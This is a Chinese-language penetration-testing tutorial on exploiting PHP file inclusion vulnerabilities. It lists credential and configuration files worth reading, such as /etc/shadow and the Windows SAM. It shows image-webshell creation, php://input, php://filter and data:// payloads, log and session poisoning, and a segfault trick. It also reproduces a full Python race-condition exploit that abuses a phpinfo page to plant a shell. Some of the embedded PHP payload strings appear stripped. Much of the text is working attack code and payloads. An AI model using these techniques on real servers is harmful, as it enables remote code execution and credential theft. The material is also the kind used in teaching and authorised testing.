文件包含利用思路
文件包含簡介
開發人員通常會把可重復使用的函數寫到單個文件中,在使用某些函數時,直接調用此文件,而無需再次編寫,這種調用文件的過程一般被稱為包含。
為了使代碼更加靈活,通常會將被包含的文件設置為變量,用來進行動態調用,但正是由于這種靈活性,從而導致客戶端可以調用一個惡意文件,造成文件包含漏洞。
文件包含漏洞的環境要求
· 變量可控 · allow_url_fopen=On(默認為On) 規定是否允許從遠程服務器或者網站檢索數據 (遠程包含條件) · allow_url_include=On(php5.2之后默認為Off) 規定是否允許include/require遠程文件 (本地包含條件)
繞過有后綴限制的包含
①使用%00 截斷:
使用條件:
為當前php版本小于5.3.4否則無法使用且還需要關閉魔術引號(magic_quotes_gpc=off)
②長度截斷(利用垃圾字符填充):
Windows 長度最長為256
Linux 長度最長為4096
一、利用思路:
①包含一些敏感的配置文件;
②配合圖片馬
③配合php偽協議
④配合日志文件
⑤配合session文件
⑥利用臨時文件
二、實現方法
1、包含一些敏感的配置文件;
Windows
# Windows系統的一個基本系統配置文件C:\Windows\win.ini # 查看系統版本c:\boot.ini # IIS配置文件c:\windows\system32\inetsrv\MetaBase.xml # 存儲Windows系統初次安裝的密碼c:\windows\repair\sam # MySQL配置c:\ProgramFiles\mysql\my.ini # MySQL root密碼c:\ProgramFiles\mysql\data\mysql\user.MYD # php 配置信息c:\windows\php.ini
Linux
# 賬戶信息/etc/passwd # 賬戶密碼文件/etc/shadow # Apache2默認配置文件/usr/local/app/apache2/conf/httpd.conf # 虛擬網站配置/usr/local/app/apache2/conf/extra/httpd-vhost.conf # PHP 配置文件/usr/local/app/php5/lib/php.ini # Apache 配置文件/etc/httpd/conf/httpd.conf # MySQL 配置文件/etc/my.conf
2、配合圖片馬
文件包含能夠配合圖片馬,是因為文件包含能使得任意文件都以后端腳本形式進行執行,如php的站就會將圖片以php的方式執行一遍,這才有了圖片馬的配合從而getshell
php 為例
#寫入一句話并保存為shell.php文件');?>
生成圖片木馬(Windows)命令
1.jpg為正常圖片,shell.php為寫入的一句話木馬
copy 1.jpg/b+shell.php shell.jpg

將其上傳至服務器再進行文件包含就能利用到了
訪問文件是存在該圖片

此時還是不存在shell.php文件

進行包含 再次驗證


此時可以對比發現shell.php不再出現Not Fund錯誤了
進行執行phpinfo()

成功執行, 說明命令成功 已經可以getshell了
3、配合PHP偽協議
各協議的利用條件和用法

php://input
php://input可以訪問請求的原始數據的只讀流,將post請求的數據當作php代碼執行。當傳入的參數作為文件名打開時,可以將參數設為php://input,同時post想設置的文件內容,php執行時會將post內容當作文件內容。
注:當enctype=”multipart/form-data”時,php://input是無效的,以及需要開啟all_url_include才能使用。
http://192.168.8.10/include.php?filename=php://input POST:

php://filter
php://filter可以獲取指定文件源碼。當它與包含函數結合時,php://filter流會被當作php文件執行。所以我們一般對其進行編碼,讓其不執行。從而導致 任意文件讀取。
http://192.168.8.10/include.php?filename=php://filter/read=convert.base64-encode/resource=shell.php

data://
數據流封裝器,以GET傳遞相應格式的數據。通常可以用來執行PHP代碼。
1、data://text/plain,http://192.168.8.10/include.php?filename=data://text/plain,

2、data://text/plain;base64,http://192.168.8.10/include.php?filename=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+

這里只簡單列舉了三種方法。
4、配合日志文件
利用條件:知道日志文件的存儲路徑,并且日志文件可讀。
利用用戶發起請求成功后服務器就會將其請求到的相應信息記錄到access.log日志中, 從而配置利用日志文件包含, 不過要注意的是在寫入一句話時, url會進行編碼, 所以用burp抓包請求后再放出或者利用curl命令也行
可以通過猜測常見日志文件的路徑進行讀取, 或者利用phpinfo頁面進行確定log位置(查找 server root 關鍵詞)


進行包含
http://192.168.8.10/include.php?filename=C:\\phpStudy\\PHPTutorial\\Apache\\logs\\access.log

5、配合session文件
常見的php-session存放位置:
1./var/lib/php/sess_PHPSESSID
2./var/lib/php/sess_PHPSESSID
3./tmp/sess_PHPSESSID
4./tmp/sessions/sess_PHPSESSID
也可以利用phpinfo(session.save_path)讀取到session文件所在
session 的文件名格式為 sess_[phpsessid]。而 phpsessid 在發送的請求的 cookie 字段中可以看到

要想利用就得要有請求登錄, 這里可以借助phpmyadmin平臺


6、利用臨時文件
① 利用能訪問的phpinfo頁面,對其一次發送大量數據造成臨時文件沒有及時被刪除
利用方法簡述:
在給PHP發送POST數據包時,如果數據包里包含文件區塊,無論你訪問的代碼中有沒有處理文件上傳的邏輯,PHP都會將這個文件保存成一個臨時文件(通常是/tmp/php[6個隨機字符]),文件名可以在$_FILES變量中找到。這個臨時文件,在請求結束后就會被刪除。
同時,因為phpinfo頁面會將當前請求上下文中所有變量都打印出來,所以我們如果向phpinfo頁面發送包含文件區塊的數據包,則即可在返回包里找到$_FILES變量的內容,自然也包含臨時文件名。
在文件包含漏洞找不到可利用的文件時,即可利用這個方法,找到臨時文件名,然后包含之。
但文件包含漏洞和phpinfo頁面通常是兩個頁面,理論上我們需要先發送數據包給phpinfo頁面,然后從返回頁面中匹配出臨時文件名,再將這個文件名發送給文件包含漏洞頁面,進行getshell。在第一個請求結束時,臨時文件就被刪除了,第二個請求自然也就無法進行包含。
這個時候就需要用到條件競爭,具體流程如下:
1、發送包含了webshell的上傳數據包給phpinfo頁面,這個數據包的header、get等位置需要塞滿垃圾數據
2、因為phpinfo頁面會將所有數據都打印出來,1中的垃圾數據會將整個phpinfo頁面撐得非常大
3、php默認的輸出緩沖區大小為4096,可以理解為php每次返回4096個字節給socket連接
4、所以,我們直接操作原生socket,每次讀取4096個字節。只要讀取到的字符里包含臨時文件名,就立即發送第二個數據包
5、此時,第一個數據包的socket連接實際上還沒結束,因為php還在繼續每次輸出4096個字節,所以臨時文件此時還沒有刪除
6、利用這個時間差,第二個數據包,也就是文件包含漏洞的利用,即可成功包含臨時文件,最終getshell
存在phpinfo頁面

條件競爭EXP
#!/usr/bin/python import sysimport threadingimport socket
def setup(host, port): TAG="Security Test" PAYLOAD="""%s\r')?>\r""" % TAG REQ1_DATA="""-----------------------------7dbff1ded0714\rContent-Disposition: form-data; name="dummyname"; filename="test.txt"\rContent-Type: text/plain\r\r%s-----------------------------7dbff1ded0714--\r""" % PAYLOAD padding="A" * 5000 REQ1="""POST /phpinfo.php?a="""+padding+""" HTTP/1.1\rCookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""\rHTTP_ACCEPT: """ + padding + """\rHTTP_USER_AGENT: """+padding+"""\rHTTP_ACCEPT_LANGUAGE: """+padding+"""\rHTTP_PRAGMA: """+padding+"""\rContent-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\rContent-Length: %s\rHost: %s\r\r%s""" %(len(REQ1_DATA),host,REQ1_DATA) #modify this to suit the LFI script LFIREQ="""GET /lfi.php?file=%s HTTP/1.1\rUser-Agent: Mozilla/4.0\rProxy-Connection: Keep-Alive\rHost: %s\r\r\r""" return (REQ1, TAG, LFIREQ)
def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port)) s2.connect((host, port))
s.send(phpinforeq) d = "" while len(d) < offset: d += s.recv(offset) try: i = d.index("[tmp_name] => ") fn = d[i+17:i+31] except ValueError: return None
s2.send(lfireq % (fn, host)) d = s2.recv(4096) s.close() s2.close()
if d.find(tag) != -1: return fn
counter=0class ThreadWorker(threading.Thread): def __init__(self, e, l, m, *args): threading.Thread.__init__(self) self.event = e self.lock = l self.maxattempts = m self.args = args
def run(self): global counter while not self.event.is_set(): with self.lock: if counter >= self.maxattempts: return counter+=1
try: x = phpInfoLFI(*self.args) if self.event.is_set(): break if x: print "Got it! Shell created in /tmp/g" self.event.set()
except socket.error: return
def getOffset(host, port, phpinforeq): """Gets offset of tmp_name in the php output""" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host,port)) s.send(phpinforeq)
d = "" while True: i = s.recv(4096) d+=i if i == "": break # detect the final chunk if i.endswith("0\r\r"): break s.close() i = d.find("[tmp_name] => ") if i == -1: raise ValueError("No php tmp_name in phpinfo output")
print "found %s at %i" % (d[i:i+10],i) # padded up a bit return i+256
def main():
print "LFI With PHPInfo()" print "-=" * 30
if len(sys.argv) < 2: print "Usage: %s host [port] [threads]" % sys.argv[0] sys.exit(1)
try: host = socket.gethostbyname(sys.argv[1]) except socket.error, e: print "Error with hostname %s: %s" % (sys.argv[1], e) sys.exit(1)
port=80 try: port = int(sys.argv[2]) except IndexError: pass except ValueError, e: print "Error with port %d: %s" % (sys.argv[2], e) sys.exit(1)
poolsz=10 try: poolsz = int(sys.argv[3]) except IndexError: pass except ValueError, e: print "Error with poolsz %d: %s" % (sys.argv[3], e) sys.exit(1)
print "Getting initial offset...", reqphp, tag, reqlfi = setup(host, port) offset = getOffset(host, port, reqphp) sys.stdout.flush()
maxattempts = 1000 e = threading.Event() l = threading.Lock()
print "Spawning worker pool (%d)..." % poolsz sys.stdout.flush()
tp = [] for i in range(0,poolsz): tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))
for t in tp: t.start() try: while not e.wait(1): if e.is_set(): break with l: sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts)) sys.stdout.flush() if counter >= maxattempts: break print if e.is_set(): print "Woot! \m/" else: print ":(" except KeyboardInterrupt: print "Telling threads to shutdown..." e.set()
print "Shuttin' down..." for t in tp: t.join()
if __name__=="__main__": main()
創建成功在/tmp/g文件

通過請求嘗試執行phpinfo()

②PHP版本<7.2,利用php崩潰留下臨時文件
php7 segment fault特性
段錯誤(segment fault)就是指訪問的內存超過了系統所給這個程序的內存空間。從而發生程序退出。緩存文件就留在了tmp目錄
向PHP發送含有文件區塊的數據包時,讓PHP異常崩潰退出,POST的臨時文件就會被保留
php < 7.2
Linux:php://filter/string.strip_tags/resource=/etc/passwd Windowsphp://filter/string.strip_tags/resource=C:/Windows/win.ini
php7 老版本通殺
php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA
PY代碼如下:
import requestsfrom io import BytesIOimport re
payload = ""file_data = { 'file': BytesIO(payload.encode())}url = "http://127.0.0.1/include.php?"\ +"filename=php://filter/string.strip_tags/resource=C:/Windows/win.ini"r = requests.post(url=url, files=file_data, allow_redirects=False)


成功利用上包含了該臨時文件